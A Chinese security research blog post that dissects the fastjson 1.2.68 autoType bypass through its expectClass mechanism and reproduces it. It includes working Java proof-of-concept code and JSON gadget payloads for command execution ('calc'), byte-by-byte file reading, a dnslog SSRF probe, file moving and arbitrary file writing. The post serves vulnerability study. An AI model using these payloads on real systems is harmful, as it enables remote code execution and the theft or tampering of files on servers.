fastjson-1.2.68-bypass

news/2025/3/31 1:20:55/文章来源:https://www.cnblogs.com/LINGX5/p/18797812

fastjson-1.2.68 绕过

在 1.2.47 的利用 mappings 缓存恶意类绕过 autoType 修复后,fastjson 又陆续爆出来了一些黑名单的绕过方式。直到 1.2.68 又有了新的思路去绕过 autoType

安全机制

我们先来看看 fastjson1.2.68 又引入了哪些安全机制

1.2.68 引入了一个新的安全机制 safeMode ,在 checkAutoType()的 1238-1245 行 检测到 safemode 开启的话,直接抛出异常

image-20250323141729168

所以我们只有关闭 safeMode 的情况下才能进行攻击。

同时在 1251-1267 行 对 expectClass 的类型进行限制 需要是不是 Object Serializable Cloneable Closeable EventListener Iterable Collection 这些类及其子类

image-20250324120757520

另外在 1411-1416 行 还对 JNDI 的一些危险类做了判断 clazz 不能是 ClassLoader,DataSource,RowSet 的子类

image-20250324123233834

绕过分析

我们先来看 checkAutoType() z 在哪里能返回类

但是我们发现在 1326-1338 行 会来到一处可以返回类的代码

image-20250324143639179

满足 clazz 不为空,expectClass 为空,或 clazz 是 hashmap 的子类
 或 clazz 是 expectClass 的子类, 我们就可以返回 clazz 从而绕过 checkAutoType 的判断,这里还是表宽松的

我们接着看

image-20250324143320508

思路分析

我们可不可以第一次在 mappings 缓存白名单中找一个可以利用的 deserializer ( 因为 json 解析的入口就是 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 方法,而他的 checkAutoType()方法,默认 exceptClass 传递的值是 null ) ,而这个 deserializer 调用 checkAutoType 时,可以给定可控的 或者 是可利用的 expectClass 参数呢? 从而使得 expectClassFlag 为 true ,让恶意类加载后返回。

我们接着往下看

我们能要去寻找调用 chackAutoType 的方法中传入 expcetClass 参数不为空的方法,我们查找用法就只有 JavaBeanDeserializerThrowableDeserializer 方法中的调用符合条件

image-20250324124027724

ThrowableDeserializer

我们进入 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 方法 看到有这样一段逻辑

image-20250324124902599

exClassName 为@type 标签的字符串值 ,把 Throwable 作为 expectClass(期望类) 传给 checkAutoType 了 并把类赋给了 exClass 变量

绕过 checkAutoType 以后,ThrowableDeserializer#deserialze 就会跟进 exClass 创建异常类了

image-20250324130452004

但是由于 mappings 的白名单缓存表里没有 Throwable.class 有的是 Exception.class , 我们不能是继承 Throwable 的类,而要继承 Exception 因为 Exception 是 Throwable 的子类,也符合我们 checkAutoType()的绕过分析

image-20250324131413497

到这里我们已经知道 ThrowableDeserializer#deserialze 是可以利用的,那我们怎么样才能让他自动调用呢?

在执行完 DefaultJSONParser#parseObject 的 checkAutoType 后会有一段逻辑,是根据 clazz 获取对应的 deserializer

image-20250324135927549

而在 config.getDeserializer(clazz)中 判断改类是不是 Throwable 的子类,是就创建 ThrowableDeserializer 并返回

image-20250324140326609

返回后再去调用 Throwable#deserialze 方法

到这里,我们就把这个调用链理清了

由于我们现在还没有发现可利用的 Exception 子类,我们只能配合文件上传,写入等漏洞拿到控制权限

我们可以测试一下这个流程

准备 evilException 类,继承 Exception

package com.lingx5.entry;public class evilException extends  Exception{static {try {Runtime.getRuntime().exec("calc");} catch (Exception e) {e.printStackTrace();}}
}

bypass68

package com.lingx5.exp;import com.alibaba.fastjson.JSON;public class bypass68 {public static void main(String[] args) {String payload = "{" +"\"@type\":\"java.lang.Exception\"," +"\"@type\":\"com.lingx5.entry.evilException\"" +"}";JSON.parse(payload);}
}

我们来调试一下,看看执行顺序

第一次 checkAutoType

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

image-20250324145944376

我们跟进去

image-20250324150453141

所以 checkAutoType 返回了 java.lang.Exception

DefaultJSONParser#parseObject 继续往下执行

image-20250324150833721

跟进就来到了 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 方法

第二次 checkAutoType

image-20250324151627072

跟进 checkAutoType

image-20250324151548537

返回后在 ThrowableDeserializer#deserialze 中实例化

image-20250324151811994

命令执行

image-20250324151833487

JavaBeanDeserializer

其实 javaBeanDeserializer 的方式,和上面 Throwable 的思路基本上是一致的,都是利用期望类来绕过,不过这次利用的 AutoCloseable 这个接口

在 JavaBeanDeserializer#deserialze 中的 checkAutoType 是这样传参数的,其中 expectClass 是跟 type 的值来获取的

image-20250328130449037

我们看 type 是怎么来的,发现是参数传进来的

image-20250325094620038

而在 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 方法中

image-20250325094507581

所以利用基本上就一致了

我们写一个恶意类 , 实现 AutoCloseable 接口

evilAutoCloseable

package com.lingx5.entry;import java.io.IOException;public class evilAutoCloseable implements AutoCloseable {String cmd;public void setCmd(String cmd) {this.cmd = cmd;try {Runtime.getRuntime().exec(cmd);} catch (IOException e) {e.printStackTrace();}}@Overridepublic void close() throws Exception {}
}

AutoCloseableBypass68

package com.lingx5.exp;import com.alibaba.fastjson.JSON;public class AutoCloseableBypass68 {public static void main(String[] args) {String payload = "{" +"\"@type\":\"java.lang.AutoCloseable\"," +"\"@type\":\"com.lingx5.entry.evilAutoCloseable\"," +"\"cmd\":\"calc\"" +"}";JSON.parse(payload);}
}

image-20250325095946017

我们调试一下,看看是不是跟我们预想的一样

第一次 checkAutoType 返回 interface java.lang.AutoCloseable 类

image-20250325100337951

image-20250325100422623

接着执行

image-20250325100752870

我们步入

image-20250325101102689

image-20250325101250512

再接着就是反序列化 json 串,执行 setter 方法了

image-20250325101458444

AutoCloseable 的一些应用

fastjson 特性

这里主要是 fastjson 有一个特性,就是如果没有无参构造器的话,fastjson 会根据 json 字符串,扫描构造参数最多的方法进行初始化,并且不在执行 setter 方法

引用 描述
"$ref ":".." 上一级
"$ref ":"@" 当前对象,也就是自引用
"$ref":"$" 根对象
"$ref":"$.children.0" 基于路径的引用,相当于 root.getChildren().get(0)

$ref特性,本来作者的用意是方便实现 JSON 结构的 引用复用,简单来说:就是json串里要引用之前定义的对象{}包裹就可以很方便的使用$ ref,我们主要就是可以利用它去主动的调用类的 getter 方法

这里 OutputStream 和 InputStream 默认是实现了 AutoCloseable 接口的,这里是参考 mi1k7ea 和 voidfyoo 师傅文章中的一些文件利用, 拿来复现学习一下

读文件

SafeFileOutputStream

主要还是找到了 SafeFileOutputStream 类,它具有移动文件的功能

<dependency><groupId>org.aspectj</groupId><artifactId>aspectjtools</artifactId><version>1.9.5</version>
</dependency>

我们看一下这个类,他有一个构造方法

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {this.failed = false;this.target = new File(targetPath);this.createTempFile(tempPath);if (!this.target.exists()) {if (!this.temp.exists()) {this.output = new BufferedOutputStream(new FileOutputStream(this.target));return;}// target不存在,而tmp存在,就可以复制文件到targetthis.copy(this.temp, this.target);}this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

我们可以利用这个,把系统的一些敏感文件,复制到 web 目录下,来进行进一步的渗透

copyFile

package com.lingx5.poc;import com.alibaba.fastjson.JSON;public class copyFile {public static void main(String[] args) {String payload = "{\n" +"    \"@type\": \"java.lang.AutoCloseable\",\n" +"    \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +"    \"tempPath\": \"D:\\\\WebSafe\\\\JavaProject\\\\fastjson\\\\src\\\\main" +"\\\\java\\\\com\\\\lingx5\\\\exp\\\\1.txt\",\n" +"    \"targetPath\": \"D:\\\\WebSafe\\\\JavaProject\\\\fastjson\\\\src\\\\main" +"\\\\java\\\\com\\\\lingx5\\\\poc\\\\1.txt\"\n" +"}";JSON.parse(payload);}
}

我们创建一个 1.txt

image-20250325151508025

运行调试一下,来到了 copy 方法

image-20250325152004851

内部是调用 renameto()方法实现的

image-20250325152532946

这就意味着这种方式有潜在的危害,他会把文件 移动/重命名 到目标目录,源文件内容会被置空

执行结果

image-20250325152814277

所以这种功能还是会对目标机器有一定的危害性,谨慎使用

BOMInputStream

这个类同样也继承了 AutoCloseable

image-20250326101128853

网上公开的 POC 是这个样子的

{"x": {"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///tmp/flag"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"charsetName": "UTF-8","bytes": [66]}]},"address": {"$ref": "$.x.BOM"}
}
分析

首先用 BOMInputStream 作为了入口

看一下他的构造方法

public BOMInputStream(final InputStream delegate, final ByteOrderMark... boms) {this(delegate, false, boms);
}
// 重载
public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms) {super(delegate);if (IOUtils.length(boms) == 0) {throw new IllegalArgumentException("No BOMs specified");}this.include = include;final List<ByteOrderMark> list = Arrays.asList(boms);// Sort the BOMs to match the longest BOM first because some BOMs have the same starting two bytes.list.sort(ByteOrderMarkLengthComparator);this.boms = list;}

ByteOrderMark (字节顺序标记) 是一个位于文本文件或数据流 开头 的特殊 Unicode 字符 (U+FEFF),主要是用来 标识文本的字节序 (Endianness) 和 编码方式 (Encoding)

这个 boms 数组的传递也是我们攻击的关键,我们这个攻击链实际上就是根据 boms 数组来碰撞出文件的内容的(后面也会详细提到)

我们给 delegate 这个输入流传入的是 ReaderInputStream 调用这个构造方法

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {this.reader = reader;this.encoder = encoder;this.encoderIn = CharBuffer.allocate(bufferSize);this.encoderIn.flip();this.encoderOut = ByteBuffer.allocate(128);this.encoderOut.flip();
}

主要是规定了 字节编码和缓冲区大小,而给 Reader 赋值 URLReader 对象,利用 URLReader 支持的伪协议 file:// 来打开文件

public URLReader(URL url) {this(url, (Charset)null);
}public URLReader(URL url, Charset cs) {this.url = (URL)Objects.requireNonNull(url);this.cs = cs;
}

到这里把读取文件要用到的类封装完成了。

利用$ref 去调用 BOMInputStream 的 getBom 方法 ,我们来看一下这个方法

in 是我们传递的 ReaderInputStream,再去调 URLReader 的 read() 方法,读取文件,细节就不过多赘述了

image-20250326133546934

后边的内容,我们通过注释应该也可以知道,就是去对比 firstBytes 和 boms 数组是否匹配

复现

我们来执行 POC 看一下

创建一个 1.txt 文件,内容写了 12

image-20250326140432459

package com.lingx5.poc;import com.alibaba.fastjson.JSON;public class BOMReadFile {public static void main(String[] args) {String payload = "{\n" +"    \"x\": {\n" +"        \"@type\": \"java.lang.AutoCloseable\",\n" +"        \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +"        \"delegate\": {\n" +"            \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +"            \"reader\": {\n" +"                \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +"                \"url\": \"file:\\\\D:\\\\WebSafe\\\\JavaProject\\\\fastjson" +"\\\\src\\\\main\\\\java\\\\com\\\\lingx5\\\\exp\\\\1.txt\"\n" +"            },\n" +"            \"charsetName\": \"UTF-8\",\n" +"            \"bufferSize\": 1024\n" +"        },\n" +"        \"boms\": [\n" +"            {\n" +"                \"charsetName\": \"UTF-8\",\n" +"                \"bytes\": [49,50]\n" +"            }\n" +"        ]\n" +"    },\n" +"    \"address\": {\n" +"        \"$ref\": \"$.x.BOM\"\n" +"    }\n" +"}";System.out.println(JSON.parse(payload));}
}

1 的 ASCII 码是 49,2 的是 50

我们运行

image-20250326141208782

如果我们给的 boms 数组值不和文件匹配的话,结果就是 {"x":{}}

image-20250326141306045

可以就此结果的差异,去根据 ascii 码表,爆破出文件的内容

不过这个利用还是比较苛刻的,我们更多的可能就是利用这个链条实现 ssrf 判断目标机器是否出网

其他用途

把 url 的路径改为 dnslog 平台 http://6blpi0.dnslog.cn

image-20250326141931816

其实这时候已经不在需要输出了,在 URLReader 执行 read 方法的时候,就已经把请求发送出去了,我们的 dnslog 平台就会有记录

image-20250326141838270

写文件

MarshalOutputStream

最初公开的写文件的 POC 是这样的, 使用的 FileOutputStream,也是间接集成了 AutoCloseable

{'@type': "java.lang.AutoCloseable",'@type': 'sun.rmi.server.MarshalOutputStream','out': {'@type': 'java.util.zip.InflaterOutputStream','out': {'@type': 'java.io.FileOutputStream','file': '/tmp/test.txt','append': false},'infl': {'input': {// fastjson在处理byte数组时,会编码为base64,同样在处base64会自动解码为byte数组'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==','limit': 22}},'bufLen': 1048576},'protocolVersion': 1
}
分析

主要也是利用到有参构造方法

MarshalOutputStream

public MarshalOutputStream(OutputStream out, int protocolVersion)throws IOException
{super(out);this.useProtocolVersion(protocolVersion);java.security.AccessController.doPrivileged(new java.security.PrivilegedAction<Void>() {public Void run() {enableReplaceObject(true);return null;}});
}

它调用了 super(out); ,而在他的直接父类(ObjectOutputStream )的构造方法中有我们要利用的代码( 后边会有详细的调用栈

这里为什么不直接用 MarshalOutputStream 的父类 java.io.ObjectOutputStream 呢?还要让他去调用 super(out)

因为 ObjectOutputStream 类具有无参构造器,fastjson 会用无参构造器实例化之后去找 setter 方法,但父类没有对应的 setter 方法,所以写不进去内容,但是文件还是会创建,因为 fastjson 实现是扫描完成后, 在进行封装的。在封装的过程中完成了文件的创建

image-20250326204824373

传入的 out 为 InflaterOutputStream,并且指定写入内容

public InflaterOutputStream(OutputStream out, Inflater infl, int bufLen) {super(out);// Sanity checksif (out == null)throw new NullPointerException("Null output");if (infl == null)throw new NullPointerException("Null inflater");if (bufLen <= 0)throw new IllegalArgumentException("Buffer size < 1");// Initializeinf = infl;buf = new byte[bufLen];
}

在封装 FileOutputStream,指定路径,指定 append 为 false,即覆盖文件内容


// 先获得了 String boolean的构造器
public FileOutputStream(String name, boolean append)throws FileNotFoundException
{this(name != null ? new File(name) : null, append);
}
// 重载调用
public FileOutputStream(File file, boolean append)throws FileNotFoundException
{String name = (file != null ? file.getPath() : null);SecurityManager security = System.getSecurityManager();if (security != null) {security.checkWrite(name);}if (name == null) {throw new NullPointerException();}if (file.isInvalid()) {throw new FileNotFoundException("Invalid file path");}this.fd = new FileDescriptor();fd.attach(this);this.append = append;this.path = name;// 打开文件流,并指定追加内容open(name, append);
}
调用流程

MarshalOutputStream 的 super,就是 ObjectOutputStream 的带有 out 参数的构造方法

public ObjectOutputStream(OutputStream out) throws IOException {verifySubclass();// 创建BlockDataOutputStream实例bout = new BlockDataOutputStream(out);handles = new HandleTable(10, (float) 3.00);subs = new ReplaceTable(10, (float) 3.00);enableOverride = false;writeStreamHeader();// 这个bout 是 用我们传入的InflaterOutputStream 创建的 BlockDataOutputStreambout.setBlockDataMode(true);if (extendedDebugInfo) {debugInfoStack = new DebugTraceInfoStack();} else {debugInfoStack = null;}
}

BlockDataOutputStream#setBlockDataMode 方法

boolean setBlockDataMode(boolean mode) throws IOException {if (blkmode == mode) {return blkmode;}// 调用了自己的drain()方法drain();blkmode = mode;return !blkmode;
}

BlockDataOutputStream#drain 方法,我们接着看

void drain() throws IOException {if (pos == 0) {return;}if (blkmode) {writeBlockHeader(pos);}// 这个out就是我们的 InflaterOutputStream 对象out.write(buf, 0, pos);pos = 0;
}

我们就来到了 inflaterOutputStream#write(byte [], int, int) 方法

public void write(byte[] b, int off, int len) throws IOException {// ... 省略的一些,保留了关键代码// Decompress and write blocks of output data// 写文件 out为FileOutputStream 对象do {n = inf.inflate(buf, 0, buf.length);if (n > 0) {out.write(buf, 0, n);}} while (n > 0);// Check the decompressorif (inf.finished()) {break;}if (inf.needsDictionary()) {throw new ZipException("ZLIB dictionary missing");}
}

最终掉到了 java.io.FileOutputStream#writeBytes 而这个方法是 native 方法,调用 c 语言实现文件的操作

public void write(byte b[], int off, int len) throws IOException {writeBytes(b, off, len, fdAccess.getAppend(fd));
}private native void writeBytes(byte b[], int off, int len, boolean append)throws IOException;
流程总结

简单总结调用流程

fastjson 封装对象 FileOutputStream , InflaterOutputStream , MarshalOutputStream

调用的流程

MarshalOutputStream的构造方法ObjectOutputStream的构造方法java.io.ObjectOutputStream.BlockDataOutputStream#setBlockDataModejava.io.ObjectOutputStream.BlockDataOutputStream#drainjava.util.zip.InflaterOutputStream#write(byte[], int, int)java.io.FileOutputStream#write(byte[], int, int)java.io.FileOutputStream#writeBytes
复现

MarshalWriteFile

写个程序测试一下,我就只把路径改了一下

package com.lingx5.poc;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;public class MarshalWriteFile {public static void main(String[] args) {String payload = "{\n" +"  '@type': \"java.lang.AutoCloseable\",\n" +"  '@type': 'sun.rmi.server.MarshalOutputStream',\n" +"  'out': {\n" +"    '@type': 'java.util.zip.InflaterOutputStream',\n" +"    'out': {\n" +"      '@type': 'java.io.FileOutputStream',\n" +"      'file': 'D:/WebSafe/JavaProject/fastjson/src/main/java/com/lingx5/poc/2.txt',\n" +"      'append': false\n" +"    },\n" +"    'infl': {\n" +"      'input': {\n" +"        'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\n" +"        'limit': 22\n" +"      }\n" +"    },\n" +"    'bufLen': 1048576\n" +"  },\n" +"  'protocolVersion': 1\n" +"}";System.out.println(JSON.parse(payload));System.out.println(payload);}
}

调用堆栈 , 并成功写文件

image-20250327090057625

而这个 POC 在不同的 JDK 版本是不通用的,这是为什么呢?

在 java 编译字节码的时候,Java 编译器为了减小 .class 文件的大小和提高运行时性能,会在编译的时候把参数默认设置为 var0 var1 的样式,而不是参数的具体名称。从而让 fastjson 的反序列化器再利用 asm 获取有参构造器时,识别不到参数,也就拿不到构造器。所以链条就不能用了

我们可以使用 LocalVariableTable 来判断这个类是不是具有具体的参数名称

javap -l <class_name> | findstr LocalVariableTable

可以看到区别 在 jdk8 和 jdk17 中
image-20250326160612318

image-20250326160316923

这就说明 在 jdk17 中可以找到构造方法的

XmlStreamReader

适用版本 commons-io 2.0~2.6

voidfyoo 师傅文章中已经写的很详细了,通过 XmlStreamReader 作为入口,循环调用来解决 buffer 长度不够的问题

POC

{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa"},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"org.apache.commons.io.output.WriterOutputStream","writer": {"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file": "/tmp/pwned","encoding": "UTF-8","append": false},"charset": "UTF-8","bufferSize": 1024,"writeImmediately": true},"closeBranch":true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"
}
分析

XmlStreamReader 的构造函数

public XmlStreamReader(InputStream is, String httpContentType,boolean lenient, String defaultEncoding) throws IOException {this.defaultEncoding = defaultEncoding;// 根据传进来的参数 is  封装 BOMInputStreamBOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, BUFFER_SIZE), false, BOMS);BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);// 调用本类的 doHttpStream 方法this.encoding = doHttpStream(bom, pis, httpContentType, lenient);this.reader = new InputStreamReader(pis, encoding);
}private String doHttpStream(BOMInputStream bom, BOMInputStream pis, String httpContentType,boolean lenient) throws IOException {// 调用getBOMCharsetName方法String bomEnc      = bom.getBOMCharsetName();String xmlGuessEnc = pis.getBOMCharsetName();String xmlEnc = getXmlProlog(pis, xmlGuessEnc);try {return calculateHttpEncoding(httpContentType, bomEnc,xmlGuessEnc, xmlEnc, lenient);} catch (XmlStreamReaderException ex) {if (lenient) {return doLenientDetection(httpContentType, ex);} else {throw ex;}}
}

bom.getBOMCharsetName => getBOM => in.read() 这个我们在分析 BOMInputStream 读文件的时候,也有说到

我们给 in 赋值为 TeeInputStream , 他接受两个参数 输入流 input 和输出了 branch,而他的 read 方法里执行了 write 方法

public TeeInputStream(final InputStream input, final OutputStream branch, final boolean closeBranch) {super(input);this.branch = branch;this.closeBranch = closeBranch;
}
// TeeInputStream 的 read 方法
public int read(final byte[] bts, final int st, final int end) throws IOException {final int n = super.read(bts, st, end);if (n != EOF) {branch.write(bts, st, n);}return n;
}

这里 TeeInputStream 相当于是我们写文件的桥梁,他把我们 (InputStream ) 读取到的字节流,写进了 (OutputStream ) 输出的字节流,也正是因为有这一特性,我们才能进行任意文件的写入

后面就是inpu t为 ReaderInputStream + CharSequenceReader 控制读取的内容

branch为 WriterOutputStream + FileWriterWithEncoding 控制写文件的路径

我们简单调试一下

读取调用栈

image-20250327153036531

拿出来看一下

read:112, CharSequenceReader (org.apache.commons.io.input)
read:213, ReaderInputStream (org.apache.commons.io.input)
read:99, ProxyInputStream (org.apache.commons.io.input)
read:127, TeeInputStream (org.apache.commons.io.input)
fill:252, BufferedInputStream (java.io)
read:271, BufferedInputStream (java.io)
getBOM:174, BOMInputStream (org.apache.commons.io.input)
getBOMCharsetName:200, BOMInputStream (org.apache.commons.io.input)
doHttpStream:439, XmlStreamReader (org.apache.commons.io.input)
<init>:326, XmlStreamReader (org.apache.commons.io.input)
写入调用栈

读取完成后,我们会回到org.apache.commons.io.input.TeeInputStream#read(byte[], int, int) 执行 write() 函数

image-20250327153334028

最终到 sun.nio.cs.StreamEncoder#implWrite(java.nio.CharBuffer) 执行写文件

image-20250327155323240

我们的输入字节流就只有几个 a 字符, 肯定是不满足缓冲区溢出的。

可以看到我们的文件是没有内容的

image-20250327160437723

解决缓冲区问题

那我们要怎么解决这个问题呢?

你是不是像到我们把字符串写多一点不就行了

很可惜,这是不可行的。以为在传入的输入流和输出流对缓冲区大小做了限制

image-20250327160326236

image-20250327160100829

voidfyoo 师傅已经给出了答案,利用$ref 引用特性循环输入解决这一问题,师傅公开的POC

{"x":{"@type":"com.alibaba.fastjson.JSONObject","input":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"},"charsetName":"UTF-8","bufferSize":1024},"branch":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.output.WriterOutputStream","writer":{"@type":"org.apache.commons.io.output.FileWriterWithEncoding","file":"/tmp/pwned","encoding":"UTF-8","append": false},"charsetName":"UTF-8","bufferSize": 1024,"writeImmediately": true},"trigger":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger2":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"},"trigger3":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.XmlStreamReader","is":{"@type":"org.apache.commons.io.input.TeeInputStream","input":{"$ref":"$.input"},"branch":{"$ref":"$.branch"},"closeBranch": true},"httpContentType":"text/xml","lenient":false,"defaultEncoding":"UTF-8"}}
}
复现
package com.lingx5.poc;import com.alibaba.fastjson.JSON;public class XmlWriteFile {public static void main(String[] args) {int count = 4096;String content = "a".repeat(count) +"\n"+ "b".repeat(count)+"c";String payload = "\n" +"{\n" +"  \"x\":{\n" +"    \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +"    \"input\":{\n" +"      \"@type\":\"java.lang.AutoCloseable\",\n" +"      \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +"      \"reader\":{\n" +"        \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +"        \"charSequence\":{\"@type\":\"java.lang.String\" \""+ content +"\"\n" +"      },\n" +"      \"charsetName\":\"UTF-8\",\n" +"      \"bufferSize\":1024\n" +"    },\n" +"    \"branch\":{\n" +"      \"@type\":\"java.lang.AutoCloseable\",\n" +"      \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +"      \"writer\":{\n" +"        \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +"        \"file\":\"D:/WebSafe/JavaProject/fastjson/src/main/java/com/lingx5/poc/2.txt\",\n" +"        \"encoding\":\"UTF-8\",\n" +"        \"append\": false\n" +"      },\n" +"      \"charsetName\":\"UTF-8\",\n" +"      \"bufferSize\": 1024,\n" +"      \"writeImmediately\": true\n" +"    },\n" +"    \"trigger\":{\n" +"      \"@type\":\"java.lang.AutoCloseable\",\n" +"      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +"      \"is\":{\n" +"        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +"        \"input\":{\n" +"          \"$ref\":\"$.input\"\n" +"        },\n" +"        \"branch\":{\n" +"          \"$ref\":\"$.branch\"\n" +"        },\n" +"        \"closeBranch\": true\n" +"      },\n" +"      \"httpContentType\":\"text/xml\",\n" +"      \"lenient\":false,\n" +"      \"defaultEncoding\":\"UTF-8\"\n" +"    },\n" +"    \"trigger2\":{\n" +"      \"@type\":\"java.lang.AutoCloseable\",\n" +"      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +"      \"is\":{\n" +"        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +"        \"input\":{\n" +"          \"$ref\":\"$.input\"\n" +"        },\n" +"        \"branch\":{\n" +"          \"$ref\":\"$.branch\"\n" +"        },\n" +"        \"closeBranch\": true\n" +"      },\n" +"      \"httpContentType\":\"text/xml\",\n" +"      \"lenient\":false,\n" +"      \"defaultEncoding\":\"UTF-8\"\n" +"    },\n" +"    \"trigger3\":{\n" +"      \"@type\":\"java.lang.AutoCloseable\",\n" +"      \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +"      \"is\":{\n" +"        \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +"        \"input\":{\n" +"          \"$ref\":\"$.input\"\n" +"        },\n" +"        \"branch\":{\n" +"          \"$ref\":\"$.branch\"\n" +"        },\n" +"        \"closeBranch\": true\n" +"      },\n" +"      \"httpContentType\":\"text/xml\",\n" +"      \"lenient\":false,\n" +"      \"defaultEncoding\":\"UTF-8\"\n" +"    }\n" +"  }\n" +"}";JSON.parse(payload);}
}

image-20250327162424018

成功写入内容

image-20250327171144065

这里为什么要 > 8192 呢? 又是怎样导致的缓冲区溢出成功呢?

这其实就是 $ref 的机制,他告诉fastjson:不要在这里创建一个新对象。请使用之前在 JSON 中已经被创建并赋值给 'input' 键的那个对象。

第一个触发器 (trigger):执行完之后 TeeInputStream 读取了 4096 个字节,同时将这些 4096 字节写入了它的 branch中 此时,文件 尚未被写入任何内容。

第二个触发器 (trigger): 通过 $ref 被设置为指向与第一个触发器完全相同的 ReaderInputStream 实例,而流(Stream)会保持它们的状态,知道前 4096 字节已经被读取了,会接着读取后边的字节同时写入branch,此时 branch就已经8192个字节了,已经满了。

第三个触发器 (trigger): 使 brach的缓冲区溢出,触发写操作。 简而言之,就是利用多个触发器 (XmlStreamReader),每个触发器都从一个共享的输入管道 (TeeInputStream) 读取一部分数据,迫使这个管道将数据倾倒入一个共享的输出缓冲区 (FileWriterWithEncoding),直到该缓冲区溢出并将内容写入目标文件。

Output

公开的POC

{"stream": {"@type": "java.lang.AutoCloseable","@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath": "D:/wamp64/www/hacked.txt","tempPath": "D:/wamp64/www/test.txt"},"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "cHduZWQ=","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "com.sleepycat.bind.serial.SerialOutput","out": {"$ref": "$.writer"}}
}

这里 SerialOutput 的作用,和我们分析 MarshalOutputStream时,MarshalOutputStream 这个流的作用是一致的,本质上都是OutPutStream的子类,利用super(out) 去 调用write 所以个人感觉 sleepycat 这个包不如 jdk 原生的RMI 包通用 稍作修改

{"stream": {"@type": "java.lang.AutoCloseable","@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath": "D:/wamp64/www/hacked.txt","tempPath": "D:/wamp64/www/test.txt"},"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "cHduZWQ=","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "sun.rmi.server.MarshalOutputStream","out": {"$ref": "$.writer"},"protocolVersion":"1"}
}

这样也是可以执行写文件的

分析

主要 com.esotericsoftware.kryo.io.Output 这个类也具有写文件的能力,对应的依赖

<dependency><groupId>com.esotericsoftware</groupId><artifactId>kryo</artifactId><version>4.0.0</version>
</dependency>

它提供了 setBuffer() 和 setOutputStream() 可以初始化buffer和缓冲区,主要是他的flush() 方法中有 write 操作

public void setBuffer(byte[] buffer) {this.setBuffer(buffer, buffer.length);
}public void setOutputStream(OutputStream outputStream) {this.outputStream = outputStream;this.position = 0;this.total = 0L;
}public void flush() throws KryoException {if (this.outputStream != null) {try {// 利用我们传进来的outputStream执行write方法this.outputStream.write(this.buffer, 0, this.position);this.outputStream.flush();} catch (IOException ex) {throw new KryoException(ex);}this.total += (long)this.position;this.position = 0;}
}

这里flush可由write方法执行,所以还是用到了OutputStream的子类,初始化时调用 super(out) 和我们之前的分析如出一辙。

而SafeFileOutputStream 实际上就是封装一个文件的输出流,在执行write() 方法时,把字节流写入指定的文件,当然我们也可以使用上面提到的java.io.FileOutputStream 来进行替换 又得到了一种写文件的POC

变种
